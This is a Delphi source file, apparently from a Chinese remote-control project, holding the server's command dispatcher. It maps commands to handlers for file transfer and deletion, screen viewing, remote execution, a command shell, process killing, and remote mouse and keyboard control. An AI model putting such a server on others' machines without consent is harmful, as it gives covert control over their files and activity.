mainservprocunit.~pas

DELPHI 下远程控制源码

unit MainServProcUnit;

interface
uses IdTCPServer,IdGlobal,Forms;

//-------------超级用户的信息处理========================================1
Procedure SuperUserProc(AThread: TIdPeerThread;RecCMD:String);


implementation
uses SubSuperUserUnit;

//超级用户的信息处理========================================1
Procedure SuperUserProc(AThread: TIdPeerThread;RecCMD:String);
begin
   //---------------------------------------------------1磁盘目录
   if RecCMD='磁盘目录' then
   begin
     RootDiskProc(AThread);
   end;
   //---------------------------------------------------2目录文件
   if RecCMD='目录文件' then
   begin
     FileDirProc(AThread);
   end;
   //---------------------------------------------------3文件下载
    if RecCMD='文件下载' then
   begin
     DownLoadFileProc(AThread);
   end;
   //---------------------------------------------------4文件上传
    if RecCMD='文件上传' then
   begin
     UpLoadFileProc(AThread);
   end;
   //---------------------------------------------------5屏幕查看
    if RecCMD='屏幕查看' then
   begin
     SingleScreenProc(AThread);
   end;
   //---------------------------------------------------6文件删除
    if RecCMD='文件删除' then
   begin
     FileDelProc(AThread);
   end;
   //---------------------------------------------------7文件复制--服务端
    if RecCMD='文件复制' then
   begin
     FileCopyProc(AThread);
   end;
   //---------------------------------------------------8文件剪切--服务端
    if RecCMD='文件剪切' then
   begin
     FileCutCopyProc(AThread);
   end;
   //---------------------------------------------------9目录下载
     if RecCMD='目录下载' then
   begin
     DirLoadDownProc(AThread);
   end;
    //---------------------------------------------------10目录删除
     if RecCMD='目录删除' then
   begin
     DirDelProc(AThread);
   end;
   //---------------------------------------------------11目录创建
     if RecCMD='目录创建' then
   begin
     DirCreateProc(AThread);
   end;
   //---------------------------------------------------12目录复制
     if RecCMD='目录复制' then
   begin
     DirCopyProc(AThread);
   end;
   //---------------------------------------------------13目录复制
     if RecCMD='远程执行' then
   begin
     RemoteFileOpenProc(AThread);
   end;
   //---------------------------------------------------14文件属性
     if RecCMD='文件属性' then
   begin
     GetFileAttrProc(AThread);
   end;
   //---------------------------------------------------15目录属性
     if RecCMD='目录属性' then
   begin
     GetDirAttrProc(AThread);
   end;
   //---------------------------------------------------16目录属性更改
     if RecCMD='目录属性更改' then
   begin
     SetDirAttrProc(AThread);
   end;
   //---------------------------------------------------17文件属性更改
     if RecCMD='文件属性更改' then
   begin
     SetFileAttrProc(AThread);
   end;
   //---------------------------------------------------18名称更改 
     if RecCMD='名称更改' then
   begin
     TheRenameProc(AThread);
   end;
   //---------------------------------------------------19文件搜索
    if RecCMD='文件搜索' then
   begin
     FileSearchProc(AThread);
   end;
   //---------------------------------------------------20文件搜索
    if RecCMD='搜索下载' then
   begin
     FSearchDLProc(AThread);
   end;
   //---------------------------------------------------21命令行
    if RecCMD='命令行' then
   begin
     CommandLineProc(AThread);
   end;
   //---------------------------------------------------22进程查看
    if RecCMD='进程查看' then
   begin
     GetSysProcessProc(AThread);
   end;
   //---------------------------------------------------23结束进程
    if RecCMD='结束进程' then
   begin
     KillProcessProc(AThread);
   end;
   //-------------------------------------------24设置进程优先级别
    if RecCMD='更改优先级' then
   begin
     SetProgressPriorityProc(AThread);
   end;
   //-------------------------------------------25远程监视
    if RecCMD='远程监视' then
   begin
     RemoteScrMonitor(AThread);
   end;
   //-------------------------------------------26鼠标命令
    if RecCMD='鼠标命令' then
   begin
     RemoteMouseControl(AThread);
   end;
   //-------------------------------------------27屏幕信息
    if RecCMD='屏幕信息' then
   begin
     Try
        AThread.Connection.WriteInteger(Screen.Width);
        AThread.Connection.WriteInteger(Screen.Height);
     except
       exit;
     end;
   end;
   //-------------------------------------------28键盘信息
    if RecCMD='键盘命令' then
   begin
      RemoteKeyBdControl(AThread);
   end;
   
end;

end.